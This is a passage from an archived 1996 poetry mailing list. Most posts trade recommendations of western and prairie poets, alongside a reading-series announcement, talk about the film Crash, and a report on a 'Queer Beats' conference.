my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse.(i don't mean cowboy poetry)? (2) are there any prairie poets who,have been able to transcend the lingo of the farm/slough/seasons/quanset(sp?) hut/hockey/trapping/chiasmustic seasonal changes. as a transplanted gopher chaser i am finding it harder to find a voice that somehow negotiates the two.

cheers,
kevin

↑ Index

354. **Charles Alexander**
Re: the poets and land and landing poets
Fri 22 Nov 1996

> *1. are there any western american writers that i could*
> *read that use the harsh isolation as a springboard for verse.(i don't mean*
> *cowboy poetry)?*
> *robinson jeffers*
> *ed dorn*
> *robin blaser (long poem on growing up in idaho, in the holy forest)*
> *jack spicer (nary a quonset, but lots of harsh isolation)*

In quite a different way I would add Mei-mei Berssenbrugge, at least in terms of using the western desert landscape, although "harsh" isn't the term I would choose. Likewise for some of my own work.

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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355. **Charles Alexander**
Re: Western poets
Fri 22 Nov 1996

At 07:25 AM 11/22/96 -0500, you wrote:
>odd but my yesterday-post re western poetas never seems to have it --

>three such critters come to mind immediately : Lorine Niedecker, Ed
>Dorn, Ken Irby.

Yes for Dorn & Irby, but in what sense is Niedecker a "western" poet? I always thought western meant at least west of the Mississippi, and increasingly, west of the great plains states. But that's coming from someone who grew up somewhere near the middle, in my case Oklahoma.

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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356. **Charles Bernstein**
Ear Inn Reading Dec./Jan. (fwd)
Fri 22 Nov 1996

PLEASE NOTE TIMES FOR READINGS, SATURDAY 2:30PM!

DECEMBER & JANUARY READINGS AT THE EAR INN

THE EAR INN
New York, NY 10013
[redacted]

DECEMBER 7: ABIGAIL CHILD, RON SILLIMAN Abigail child is filmmaker and writer whose books include A Motive for Mayhem (Potes & Poets), MOB (O Press) and most recently Scatter Matrix (Roof Books). She is currently working on a book of critical writing on film and poetry. Her new film B/side will have its world premier this fall at the London Film Festival. Ron Silliman has published more than 20 books, most recently Xing (Meow Press). He lives in the Valley Forge region of Pennsylvania.

DECEMBER 14: ANDREW LEVY, JULIANA SPHAR Andrew Levy is the author of Curve (O Books), Values Chauffeur You (O Books), Democracy Assemblages (Innerer Klang), between poems (Innerer Klang), and Continuous Discontinuous (Book II of Curve), forthcoming from Potes & Poets. Recent staged collaborations with Gerry Hemingway and Daria Fain at The Kitchen. Juliana Sphar's Response is forthcoming from Sun and Moon Press. She edits Chain magazine with Jena Osman. She is teaching for the year at Siena College in Albany, NY.

DECEMBER 21: SIANNE NGAI, STACY DORIS Sianne Ngai is the author of the 1994 chapbook My Novel (Leave Books) and has published poems in Chain, Avec, Talisman, and Mirage and has work forthcoming in New American Writing. Stacy Doris is the author of Kildare from Roof books. Her Mop Factory Incident (Women's Studio Workshop, 1996) a limited-edition book designed by visual artist Melissa Smedley, includes a real miniature Mars Bar shrink-wrapped in each copy.

DECEMBER 28: HOLIDAY SCHEDULE -- NO READING.

JANUARY 4: HOLIDAY SCHEDULE -- NO READING

JANUARY 11: EILEEN MYLES, BARBARA BARG Eileen Myles' most recent book is Maxfield Parrish (Black Sparrow). Her next book, School of Fish, is forthcoming in the spring from Black Sparrow. She is presently working on a novel entitled Cool for You. Barbara Barg is the author of two books: Obeying the Chemicals (Hard Press - 1984), and Origin of THE Species (Semiotext(e) - 1994). She is also a singer, songwriter, and drummer with the poets' band Homer Erotic.

JANUARY 18: MARJORIE WELISH, TOM MANDEL Majorie Welish, a poet and art critic living in New York, has published four books of poems: Handwritten (Sun, 1979), a chapbook; Two Poems (Z Press, 1981), The windows Flew Open (Burning Deck, 1991), and Casting Sequences (University of Georgia Press, 1993). Her work is in numerous anthologies including A Postmodern American Poetry (Norton, 1994). Tom Mandel is the author of ten books of poetry including: Ency (Tuumba, 1978), and more recently, Letters of the Law (Sun & Moon, 1994), Prospect of Release (Chax, 1996), and Absence Sensorium (Potes & Poets, 1996), co-authored ith Daniel Davidson. His Ancestral Cave will appear in 1997 from Zasterle Press (Islas Canarias, Espana).

JANUARY 25: LIZ FODASKI, HEATHER RAMSDELL Liz Fodaski is the editor and publisher of Torque, and a coordinator for the Ear Inn. Publications include: Big Allis, Chain, and Object, and a poem forthcoming in the Gertrude Stein Awards. She lives and teaches in her native NYC. Heather Ramsdell's poems have appeared in Mandorla, Torgue, and Talisman, and are forthcoming in Sulfur. She recently completed her first book, Lost Wax.

SATURDAY AFTERNOON READINGS begin at 2:30 pm. The EAR INN is at 326 Spring St., NYC. $3.00 contribution goes to readers. Coodinator for December and January is Charles Borkhuis. Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts. PLEASE SUPPORT THE EAR -- COME EARLY FOR LUNCH, STAY LATE FOR DINNER!

If you want to get Segue mailings, write or call:: The Segue Foundation, 303 E. 8th Street, New York, NY 10009, [redacted]

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357. **Kali Tal**
Re: Western poets
Fri 22 Nov 1996

At the risk of once again demonstrating my philistine sensibilities, I'd have to say that I do admire quite a few of the Cowboy Poets--Bill Jones, Rod McQueary, Bill Shields, Jon Forrest Glade, John Dofflemeyer, Laurie Wagner Buyer. And it's a remarkable thing, these days, to be able to draw a rodeo-size crowd (sometimes over 10,000 folks) to hear a poetry reading... especially in a low-population state like Wyoming. Quite a few of these poets are working cowboys and/or ranchers. (Buyer gets up every morning before dawn, and sleeps in the barn during calving season.) A few of them have MFAs (Jon Forrest Glade was for a long time the editor of the _Owen Wister Review_), but many don't. Most of them are storytellers as well as poets, and I've always liked a good story.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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358. **aerialedge**
Re: Western poets
Fri 22 Nov 1996

Weren't some of O'Hara's poems written on the west side? & let us not forget Mr Kenneth Rexroth who went so far west he wound up east & also his onlyness of _Western Love_ -- Bill "Rocketman" Luoma. The Basement Tapes have a western thing goin' even though recorded in Woodstock but maybe it's just me-- I listened to them driving through southern Utah in the spring. Ah, spring.

↑ Index

359. Aldon L. Nielsen
Re: the poets and land and landing poets
Fri 22 Nov 1996

reaction against "poet of place" label so strong here that much resistance to the form of the question is found in some of the most interesting poets on the plains --

but doesn't Ken Irby answer here? especially the earlier works?

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360. Herb Levy
Re: Crash!
Fri 22 Nov 1996

I've been waiting for this film for a while too. Not just 'cause I've liked Crash since it came out (though, like Pierre I like some other Ballard works better) but 'cause David Cronenberg is one of my favorite directors. He's a master of turning dread of the everyday into terror.

I'd heard that the US distributor had held off on releasing the film in the States til after the election, not wanting to be the focus of another Dole v. Hollywood rant.

Perhaps Ted Turner's response to the film has to do with Jane Fonda not being cast as the Liz Taylor fetish-figure in the story.

Herb

> *Recently saw info (on another list, can't remember which one, off hand)*
> *re how Ted Turner had done his best to prevent Cronenberg's*
> *movie of JG Ballard's novel CRASH to be shown in these States --*
> *here just in from a London friend how the movie of a book I liked a lot*
> *(way back when it came out -- tho I always preferred THE ATROCITY*
> *EXHIBITION --) is doing, or rather not doing, in London -- hope this*
> *longish web-post attachment isn't blowing anyone's memory fuses, &/or is*
> *readable on non-web-based mailers -- Pierre*
> *--*

Herb Levy
[redacted]

↑ Index

361. Christopher Reiner
Re: Western poets
Fri 22 Nov 1996

Jim McCrary's West of Mass comes to mind. There's a sample of it at:

http://www.thing.net/~grist/golpub/mccrary/homejmc.htm

↑ Index

362. Michael Boughn

Re: Crash!

Fri 22 Nov 1996

Crash has been out here for some months now. It's brilliant. I still think about it almost every day. Its discussion of technology and the body in Euro-American culture is unsurpassed in its complexity and insights. And the use of the form of the pornographic film--wow. Definitely a must see, though not for the weak of heart.

Mike

[redacted]

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363. charssmith

Re: the poets and land and landing poets

Fri 22 Nov 1996

You might look at the Jeffers/Rexroth/Everson/Snyder nexus. Soem of Micahel McClure's work. Small parts of Duncan/Blaser/Spicer. Much of Joanne Kyger. Diane diPrima's _Wyoming Series_.

Lyn Hejinian's _My Life_. Bob Grenier's _A Day At The Beach_.

Ken Irby writes from landscapes of the West (CA--"Jed Smith & the Way"), Southwest (early work) & Kansas plains. Look for _Catalpa_, _Relation_, & _Max Douglas_. Ed Dorn's early stuff on the plains & Rockies. Tom Clark's _The End of the Line_ & _Short History of the High Plains_ have probably been gathered into one of his Black Sparrow books, though I don't know which.

Lorine Niedecker, writing from the midwest though not quite the plains, has come to be emblematic of the isolated writer.

Nathaniel Tarn & Janet Rodney's _Alashka_ & Tarn's _At the Western Gates_.

Here in Sacramento, Julia Connor often writes out of the landscape. Look for _Corresponding Flowers_, _The Delta Poem_, _Making Tha Good_ & an extended meditation on the Central Valley, _A Canto For the Birds_, where she writes:

incredulous

to stand in these fields & believe

we cannot feed

this valley's

poor

the thrust

of even the darkest song

is Love

Art

but the measure

of a thing

~~~~~~~~~~

of course there are others...

(Can you tell more about GRAIN?)

charles

In a message dated 96-11-21 14:54:38 EST, you write:

<< i just received my copy of GRAIN today. i realize that this an american based talkgroup but i must ask: the new poems i read today have a real feel of landscape, climate and enviroment that become a very comfortable parentheses within which the voice frolics and grooves.

my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse.(i don't mean cowboy poetry)? (2) are there any prairie poets who,have been able to transcend the lingo of the farm/slough/seasons/quanset(sp?) hut/hockey/trapping/chiasmustic seasonal changes. as a transplanted gopher chaser i am finding it harder to find a voice that somehow negotiates the two.

cheers,
kevin >>

↑ Index

364. **Pete Landers**

Re: dildo update

Fri 22 Nov 1996

This thread is older than old. ...

Shakespeare, The Winter's Tale, IV. iv.

Servant: He hath songs for man or woman, of all sizes; no
milliner can so fit his customers with gloves: he
has the prettiest love-songs for maids; so without
~~~~~~~~~~

bawdry, which is strange; with such delicate
burthens of dildos and fadings, 'jump her and thump
her;' and where some stretch-mouthed rascal would,
as it were, mean mischief and break a foul gap into
the matter, he makes the maid to answer 'Whoop, do me
no harm, good man;' puts him off, slights him, with
'Whoop, do me no harm, good man.' 200

The old bard, known for his misspellings, did not insert
the Quayle-like "e" that, you'll recall, appeared in the
first complaint of these phallic impudences.

Pete

↑ Index

365. **Pritchett,Pat**
Re: oh give me a home
Fri 22 Nov 1996

For what it's worth, Wallace Stegner marks the west as beginning at the 100th meridian, which I believe falls right down the middle of Oklahoma (but I don't have an atlas handy). Unfortunately, I can't remember why he designates it this way.

Kevin's query begs the larger question of the relationship between geography and poesis. Clearly, some poets feel compelled to confront "landscape", with all that entails - psychologically, politically, culturally, biologically, historically, etc. - in their work; but just as clearly, some poets would write the same kind of poetry regardless of where they lived.

Engaging "the land" is really just a metaphor for engaging the self, isn't it? "Harsh isolation" is just as much a factor of living in the Lower East Side as it of living in Wyoming or Alaska. I wake up before dawn every day too. And when the wind is just right - that is to say wrong - the whole town of Boulder smells like a manure field. That's harsh, baby!

Patrick Pritchett

From: Charles Alexander
To: POETICS
Subject: Re: Western poets
Date: Friday, November 22, 1996 4:28PM

At 07:25 AM 11/22/96 -0500, you wrote:
>odd but my yesterday-post re western poetas never seems to have it --

>three such critters come to mind immediately : Lorine Niedecker, Ed
>Dorn, Ken Irby.

Yes for Dorn & Irby, but in what sense is Niedecker a "western" poet? I always thought western meant at least west of the Mississippi, and increasingly, west of the great plains states. But that's coming from someone who grew up somewhere near the middle, in my case Oklahoma.

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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366. **Louis Cabri**
Re: antiquity
Fri 22 Nov 1996

---

epictetus is dark *yet* lite - yes, so unusual for a stoic, you think, in contrast to the epicurians, and i concur

roman slave who rec'd manumission, who wrote nothing but whose devoted pupil did, the discourses. epictetus, epictetus.

in the vol. i have (poor translation as you will instantly see; i don't read latin), a sample from the section entitled "Social Intercourse Should Be Entered into Cautiously":

Have you any such faculty as Socrates had, who in every conversation could bring his companions to his own purpose? How could you have it? You must therefore be carried along by the crowd. And why are they more powerful than you? Becasue they utter their corrupt discourses from sincere opinion, and you your good ones only from your lips. Hence they are without strength or life; and it is disgusting to hear your exhortations and your poor miserable virtue proclaimed uyp hill and down. Thus it is that the corwd gets the better of you; for sincere opinhion is always strong, always invincible. Therefore before wise sentiments are fixed in you, and you have acquired some power of self-defence, I advise you to be cautious in your associations ... otherwise, if you have any impressions made on you in the schools, they will melt away daily like wax before the sun. Get away then, far from the sun, while you have these waxen opinions.

time to heed this dude? your call.

foucault gave him a run in the third book, first section (if i remember rightly) of history of sexuality - as at the transitional cusp of a caring of self over others (as a means to respect others)

what ever happened to eric wirth? he wrote a wonderful piece that used epitectus in it. publ. in i think it was don wellman's mag

↑ Index

367. **simon**
Re: Western poets
Fri 22 Nov 1996

Lorine Niedecker.
Only if you mean (upper mid)West.

But definitely read her!

beth simon
assistant professor, linguistics and english
indiana university - purdue university
[redacted]

↑ Index

368. **maria damon**
Re: oh give me a home
Fri 22 Nov 1996

---

around here, in mn, "sense of place" is a big huge deal in writing. since i don't identify w/ the place i don't really get it, or why it's important; but i sure get why melville thinks everything goes seaward. so, color me coastal.--md

In message <[redacted]> UB Poetics discussion group writes:
> For what it's worth, Wallace Stegner marks the west as beginning at the
> 100th meridian, which I believe falls right down the middle of Oklahoma (but
> I don't have an atlas handy). Unfortunately, I can't remember why he
> designates it this way.
>
> Kevin's query begs the larger question of the relationship between geography
> and poesis. Clearly, some poets feel compelled to confront "landscape", with
> all that entails - psychologically, politically, culturally, biologically,
> historically, etc. - in their work; but just as clearly, some poets would
> write the same kind of poetry regardless of where they lived.
>
> Engaging "the land" is really just a metaphor for engaging the self, isn't
> it? "Harsh isolation" is just as much a factor of living in the Lower East

> Side as it of living in Wyoming or Alaska. I wake up before dawn every day
> too. And when the wind is just right - that is to say wrong - the whole town
> of Boulder smells like a manure field. That's harsh, baby!
>
> Patrick Pritchett
> ----------
> From: Charles Alexander
> To: POETICS
> Subject: Re: Western poets
> Date: Friday, November 22, 1996 4:28PM
>
>
> At 07:25 AM 11/22/96 -0500, you wrote:
> >odd but my yesterday-post re western poetas never seems to have it --
> >three such critters come to mind immediately : Lorine Niedecker, Ed
> >Dorn, Ken Irby.
>
> Yes for Dorn & Irby, but in what sense is Niedecker a "western" poet? I
> always thought western meant at least west of the Mississippi, and
> increasingly, west of the great plains states. But that's coming from
> someone who grew up somewhere near the middle, in my case Oklahoma.
>
>
> ----------
> get off my back. the future fields into which I write are
> unimaginable. I do not know, any more than you do, what is
> around me, nor how far to go, nor precisely what I leave behind.
>
> --Beverly Dahlen
> from A Reading 8 - 10
> published by Chax Press
> ----------

↑ Index

369. Tenney Nathanson
(ahem) gracias for the dildo thread
Sat 23 Nov 1996

---

is it curious that Rachel Loden's poem is a whole lot better than MacLeish's?

prolly not

anyway "thanks for that dildo thread!"

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370. Tenney Nathanson
x spots the mark
Sat 23 Nov 1996

thanks Maria.

he's the same Bruce Boone who wrote /Century of Cloud/, right? Douglas (M)? Douglas invited him to read in Philadelphia the one year I was at Temple (when Douglas was still there). What a terrific writer!

Tenney

> *Date: Fri, 22 Nov 1996 08:02:41 -0600*
> *From: maria damon <[redacted]>*
> *Subject: Re: tanks*
>
> *In message <[redacted]> UB Poetics discussion group writes:*
> *thanks to Jordon and Maria for the wonderful gossipy moving posts. I tingle-tangle & etc.*
>
> *Maria: Bruce X? (Sonia Sanchez: "my man, you way behind the set")--but Maria can you say more?*
>
> *bruce boone had adopted the x to see if it wd make him famous. he's published on gay stuff (i saw one article many years ago on frank ohara and gay language) and probably other stuff i don't know. translator, told me abt a french author pascale ? he's translated for lapidus press. others here probably know more than i. i was on an mla panel w/ him and m davidson lo thse many years ago on robert duncan and gay community (in 1987); i was the only chick, and a grad student too. his paper seemed to be quite a bit of hermetic insider-knowledge stuff about internicene poetry-politics that i didn't understand. he's an old-style intellectual with a wide range of interests and sources, not a young groovoid or trendoid. md*
>
> *Tenney*
>
> *----------*

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371. Tenney Nathanson
here here (there there)
Sat 23 Nov 1996

I'll second Charles A on Mei-mei as a western poet. Whenever I read or hear one of her poems I think I'm in New Mexico; whenever I drive in New Mexico I

think I'm reading one of Mei-mei's poems. which are almost entirely abstract (so it's no mean feets) : it's something about how the planes of words are like the planes of mountains (plains of sky?) over in NM (I never think of Mei-mei when I drive in AZ).

(and then there's /Tan-Tien/, which Charles published. a whole NOTHER story.)

Tenney

↑ Index

372. **dbkk**
Re: queer beats
Sat 23 Nov 1996

Interesting post by Maria Damon about last weekend's "Queer Beats" conference. Thank you, Maria. I was one of the organizers and can report we were all enormously pleased by what went on up on the stage and down in the audience.

> *kevin k was one of the convener/symposiacs and he looked lovely in a beige suit w/ his hair falling debonairly over one eye.*

Please note this suit was by Joseph Abboud ...."hints of mod london era" for sure. As for Maria's lipstick it was beautiful and well applied. So was your talk, Maria, you do not give yourself enough credit. I could feel the audience gasp in surprise as point by point you outlined the main points of the triangulated affair between Bob Kaufman and the painter Russell FitzGerald, who was actually living with Jack Spicer at the time and served as the model for his "Billy the Kid." Anne Murphy was in the audience (Anne, familiar to North Beach denizens, is famous locally as the last girlfriend of Neal Cassady) and rushed up afterwards, "I knew Bob Kaufman for twenty years and never knew he had sex with a man! But it all ties in!"

My own panel was on "Queer Identity." I was the moderator but what a difficult job. On the one hand I had Michael Davidson giving a wonderful talk on the Cold War poetics of the 50's... seemingly unaware of Allen Ginsberg's presence as he delivered one or two blistering remarks on Ginsberg's 50's-style misogyny, etc; then when the lights came up and he saw AG he seemed to grow pale. "Don't worry Michael," whispered Mark Ewert, another panelist. "He's a big boy, he can take it." And on my other side there was Ricardo Ortiz with these huge forearms. As Aaron Shurin pointed out once you noticed the forearms there wasn't anything else in the room, and Ricardo seemed to play with them like two big hams.

> *a guy who looked younger than he was, in hiphop ski cap,*
> *read a memoir about his friendship w/ burroughs. ginsberg showed up in the audience to hear him.*

This was Mark Ewert, who is 24 and looks about 14. He's writing an autobiography about his relationship with Burroughs and Ginsberg and read part of it on the panel. I think it all went down very well. Earl Jackson Jr. spoke about the recent publication of "Jerome: After the Pageant" a glossy coffee table-like book which reproduces many paintings by the late, extravagant drag queen artist Jerome Caja, who died here in San Francisco last year of AIDS, then launched into his deconstruction of Burroughs' "cut-up" method, which persuaded many if not all. Brilliant speech, and Jackson Jr has new contact lenses which give his eyes a strange, eerie cobalt X ray glare, as though Ralph Fiennes was playing an alien on the X Files.

Lenore Kandel almost stole the show. I don't know how old she is now, but she exuded 10 tons of warmth and glamor and humor. She is a fantastic presence and altogether modest about her amazing career. During the question period I asked about about what it was like to work with Kenneth Anger on "Lucifer Rising" (which she says she has never seen). Those of you who have seen the various versions of this film will recall that at one point, in some versions of the cut, Kandel is seen descending a long staircase, utterly drawn and stark and haunted a la Barbara Steele or Anna Karina, carrying a goldfish bowl in one arm. Kandel told us that this goldfish was her own and she was too nervous about it to leave it at home on this particular day of filming. Thus from what accidents is born great cinema!!!

It was a shame that Bruce X's paper was cut short by his own long windedness just as he was apparently about to tie together the late 20th century affinity for masochism, the disintegration of John Wieners under drugs and electroshock, the way the paintings of Jay De Feo and Russell FitzGerald seem to have been designed to fall apart gradually, and how this all related to the gnostic philosophers, but I'm going on too long myself and just want to add....

In one year's time we will be organizing a similar conference/symposium on "Lesbian Beats" and if anyone has any ideas, or wants to help, with time or money or whatever, please contact me or Dodie Bellamy at this e-mail address, [redacted]. And thanks to all who attended and helped, etc. It was great and all had an unbelievably good time.

Thanks!

↑ Index

373. **Jay Schwartz**
Re: Western poets
Sat 23 Nov 1996

Lyn Hejinian's new work A Border Comedy deals with the West, the Frontier, and borders in exciting ways. According to Kevin Killian she recently read a portion of it in conjuction with an exhibit of archival photos of the frontier at SFMOMA. Jack Collom has any number of wonderful poems in many forms about Colorado and the Western plains in general.

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374. **Ron Silliman**
West
Sat 23 Nov 1996

I'd add Wendell Berry to poets living on the land well worth reading. That condo complex off campus where Ken Irby lives is about as "western" as the Ear Inn, but yes, you can (why not) get in god damn big car and see the space if you're willing to go a few miles from Mt. Oread in just about any direction.

I want to second Pierre on Kenneth as one of our most underappreciated treasures.

When I was growing up in Berkeley, I thought "midwest" meant Reno. Everything east of Salt Lake meant "back east." Now that I'm really "back east," I hear people speak of Buffalo as the midwest.

Ron

↑ Index

375. **maria damon**
Re: Western poets
Sat 23 Nov 1996

In message <[redacted]> UB Poetics discussion
group writes:
> Lorine Niedecker.
> Only if you mean (upper mid)West.
>
> But definitely read her!
>
> beth simon
> assistant professor, linguistics and english
> indiana university - purdue university
> [redacted]

yes, niedecker crossed my mind but she was east of me and i'm not in the west. she does, however, have that "sense of place" thing, though not in a territorial, objective correlativish way.--md

↑ Index

376. maria damon
Re: x spots the mark
Sat 23 Nov 1996

---

in addition to not having read epictetus and rabbi joseph of something, i don't know bruce's oeuvre as well as i might/should/could... so i don't know. but he sure is smart and interesting, and very nice as well, he walked me down the street to catch a cab.

In message <[redacted]> UB Poetics
discussion group writes:
> thanks Maria.
>
> he's the same Bruce Boone who wrote /Century of Cloud/, right? Douglas (M)?
> Douglas invited him to read in Philadelphia the one year I was at Temple
> (when Douglas was still there). What a terrific writer!
>
> Tenney
>
> >Date: Fri, 22 Nov 1996 08:02:41 -0600
> >From: maria damon <[redacted]>
> >Subject: Re: tanks
> >
> >In message <[redacted]> UB Poetics
> >discussion group writes:
> >> thanks to Jordon and Maria for the wonderful gossipy moving posts. I
> >> tingle-tangle & etc.
> >>
> >> Maria: Bruce X? (Sonia Sanchez: "my man, you way behind the set")--but
> >> Maria can you say more?
> >
> >bruce boone had adopted the x to see if it wd make him famous. he's
> published
> >on gay stuff (i saw one article many years ago on frank ohara and gay
> language)
> >and probably other stuff i don't know. translator, told me abt a french
> author

> >pascale ? he's translated for lapidus press. others here probably know more
> >than i. i was on an mla panel w/ him and m davidson lo thse many years ago
> on
> >robert duncan and gay community (in 1987); i was the only chick, and a grad
> >student too. his paper seemed to be quite a bit of hermetic
> insider-knowledge
> >stuff about internicene poetry-politics that i didn't understand. he's an
> >old-style intellectual with a wide range of interests and sources, not a
> young
> >groovoid or trendoid. md
> >>
> >> Tenney
> >
> >----------

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377. **maria damon**
Re: here here (there there)
Sat 23 Nov 1996

In message <[redacted]> UB Poetics
discussion group writes:
> I'll second Charles A on Mei-mei as a western poet. Whenever I read or hear
> one of her poems I think I'm in New Mexico; whenever I drive in New Mexico I
> think I'm reading one of Mei-mei's poems. which are almost entirely
> abstract (so it's no mean feets) : it's something about how the planes of
> words are like the planes of mountains (plains of sky?) over in NM (I never
> think of Mei-mei when I drive in AZ).
>
> (and then there's /Tan-Tien/, which Charles published. a whole NOTHER
> story.)
>
> Tenney

yes; tho' on the subject of abstraction; i had a student in a class, who was actually a history student, who wrote a wonderful paper on The Heat Bird as a critique of nuclear power/bomb development and the wreckage it wrought in the southwest...good research on a group of women in (nevada? colorado? new mexico?) who have suffered severe reproductive damage...etc. very very grounded in history and context.--md

↑ Index

378. **maria damon**
Re: West
Sat 23 Nov 1996

ron, as a bred-in-the-bone californian who has only recently arrived on the east coast, what are your impressions of its geocultural characteristics, i.e. how is it "regional"? i'm curious since i'm such a bred-in-the-bone easterner and can't see it as an ethnographer/outsider.--md

In message <[redacted]> UB Poetics discussion
group writes:
> I'd add Wendell Berry to poets living on the land well worth reading.
> That condo complex off campus where Ken Irby lives is about as
> "western" as the Ear Inn, but yes, you can (why not) get in god damn
> big car and see the space if you're willing to go a few miles from Mt.
> Oread in just about any direction.
>
> I want to second Pierre on Kenneth as one of our most underappreciated
> treasures.
>
> When I was growing up in Berkeley, I thought "midwest" meant Reno.
> Everything east of Salt Lake meant "back east." Now that I'm really
> "back east," I hear people speak of Buffalo as the midwest.
>
> Ron

↑ Index

379. **Michael Boughn**
Re: West
Sat 23 Nov 1996

> *When I was growing up in Berkeley, I thought "midwest" meant Reno.*
> *Everything east of Salt Lake meant "back east." Now that I'm really*
> *"back east," I hear people speak of Buffalo as the midwest.*
>
> *Ron*

Buffalo IS the "mid-west", and in that light, another interesting and underrated "western" poet is Sherwood Anderson. Check out _Mid-American Chants_.

Mike
[redacted]

↑ Index

380. Robert Drake
Re: the poets and land and landing poets
Sat 23 Nov 1996

k.a. hehir wrote:

> *my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse.(i don't mean cowboy poetry)?*

i was about to recommend (and was surprized nobody else had) alexi sherman, adrian c. louis, and a few other _native_ americans... but as i thought about their work, while certainly drawing on th expanse of western landscapes, they (broad generalization) seem more concerned w/ a sense of community with and in that landscape, rather than "harsh isolation". could be of necessity, considering the general forces that actively disrupt native community; but also a contrast to th traditional eurocentric vision of the western "wilderness" as hostile other...

luigi

↑ Index

381. simon
Re: here here (there there)
Sat 23 Nov 1996

Speaking of deictic locatives, is anyone here working in/with/on/of (and the rest of the dumptydump prepositions) deixis and stylistics, deixis and poetry, etc.?

If so, would you contact me. [redacted]

(would you backchannel me sounds a little intimate

thanks
beth simon
assistant professor, linguistics and english
dept of english and linguistics
indiana university - purdue university
fort wayne, indiana
[redacted]

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382. **Douglas Barbour**
Re: western poets -- of the land
Sat 23 Nov 1996

Grain is a magazine from Saskatchewan (which should explain everything). There are a lot of poets of land & inheritance out west in Canada; the problem is what some of us have called 'prairie anecdotal' poems, which seem not to move much beyond broken prose & unscarred narrative. Another form that's done a lot in Canada is the 'documentary poem' & there is an interesting example of that from Gary Holthaus, in his _Circling Back_, full of documents about the settling/conquest of the American West. "If I had to recommend one book on the West, this would be it" -- Gary Snyder

========== Douglas Barbour Department of English 'The universe opens. I close. University of Alberta And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted] - Phyllis Webb H: [redacted]

↑ Index

383. **Pritchett,Pat**
Re: Western poets
Sat 23 Nov 1996

Thanks for mentioning Jack Collom, Jay! He's a terrific poet and has indeed addressed matters of landscape, ecology and the West in ways which no one, I dare say even Gary Snyder, has handled with such acuity, wit & wildly associative power.

Jack is gravely under-recognized, I feel, so I'll take a moment to plug his latest books, _What A Strange Way of Being Dead_, (which I reviewed earlier this year in ABR), and which is a sustained meditation on our relationship to Nature; the uncanny, giddily lyrical _The Task_; and _Wicker_ , a marvellous collaboration with Lyn Hejinian. All of these are published by Rodent Press, which may now be defunct, I'm not sure. At any rate, they're available from the Naropa Institute's bookstore: Ph # [redacted].

Patrick Pritchett

From: Jay Schwartz
To: POETICS
Subject: Re: Western poets
Date: Saturday, November 23, 1996 3:35AM

Lyn Hejinian's new work A Border Comedy deals with the West, the Frontier, and borders in exciting ways. According to Kevin Killian she recently read a portion of it in conjuction with an exhibit of archival photos of the frontier at SFMOMA. Jack Collom has any number of wonderful poems in many forms about Colorado and the Western plains in general.

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384. **Pritchett,Pat**
Re: West
Sat 23 Nov 1996

... and why not mention as well Thomas McGrath? There are passages in his work, in particular _Echoes Inside The Labyrinth_ ,which invoke for me the most salient quality of The Region Formerly Known As The Great American Desert, what Bachelard calls "intimate immensity," a term which both complements and to a certain extent undermines the idea of "harsh isolation."

Patrick Pritchett

From: Ron Silliman
To: POETICS
Subject: West
Date: Saturday, November 23, 1996 9:00AM

I'd add Wendell Berry to poets living on the land well worth reading. That condo complex off campus where Ken Irby lives is about as "western" as the Ear Inn, but yes, you can (why not) get in god damn big car and see the space if you're willing to go a few miles from Mt. Oread in just about any direction.

I want to second Pierre on Kenneth as one of our most underappreciated treasures.

When I was growing up in Berkeley, I thought "midwest" meant Reno. Everything east of Salt Lake meant "back east." Now that I'm really "back east," I hear people speak of Buffalo as the midwest.

Ron

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385. **maria damon**
Re: western poets -- of the land
Sat 23 Nov 1996

aha! prairie anecdotal! works well with some writing i've been doing about the mpls/st paul writing scene.thanks. md

In message <v01510102aebc788dedee@[129.128.238.51]> UB Poetics discussion group
writes:
> _Grain_ is a magazine from Saskatchewan (which should explain everything).
> There are a lot of poets of land & inheritance out west in Canada; the
> problem is what some of us have called 'prairie anecdotal' poems, which
> seem not to move much beyond broken prose & unscarred narrative.
> Another form that's done a lot in Canada is the 'documentary poem' & there
> is an interesting example of that from Gary Holthaus, in his _Circling
> Back_, full of documents about the settling/conquest of the American West.
> "If I had to recommend one book on the West, this would be it" -- Gary
> Snyder
>
>
==========
>
> Douglas Barbour
> Department of English 'The universe opens. I close.
> University of Alberta And open, just to surprise you.'
> Edmonton Alberta T6G 2E5
> [redacted] FAX: [redacted] - Phyllis Webb
> H: [redacted]

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386. **shoemakers**
Re: queer beats
Sat 23 Nov 1996

Kevin--Hate to ask for more after you just expended yourself on such a long, groovy post, but i gotta know about that "deconstruction of Burroughs's cut-up method." Do tell! steve

↑ Index

387. **steph4848**
Re: the poets and land and landing poets
Sat 23 Nov 1996

In response to part one of "my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse. (i don't mean cowboy poetry?" What I think is difficult about this query is an assumed "harsh isolation" definition of the circumstance of "western writing." I

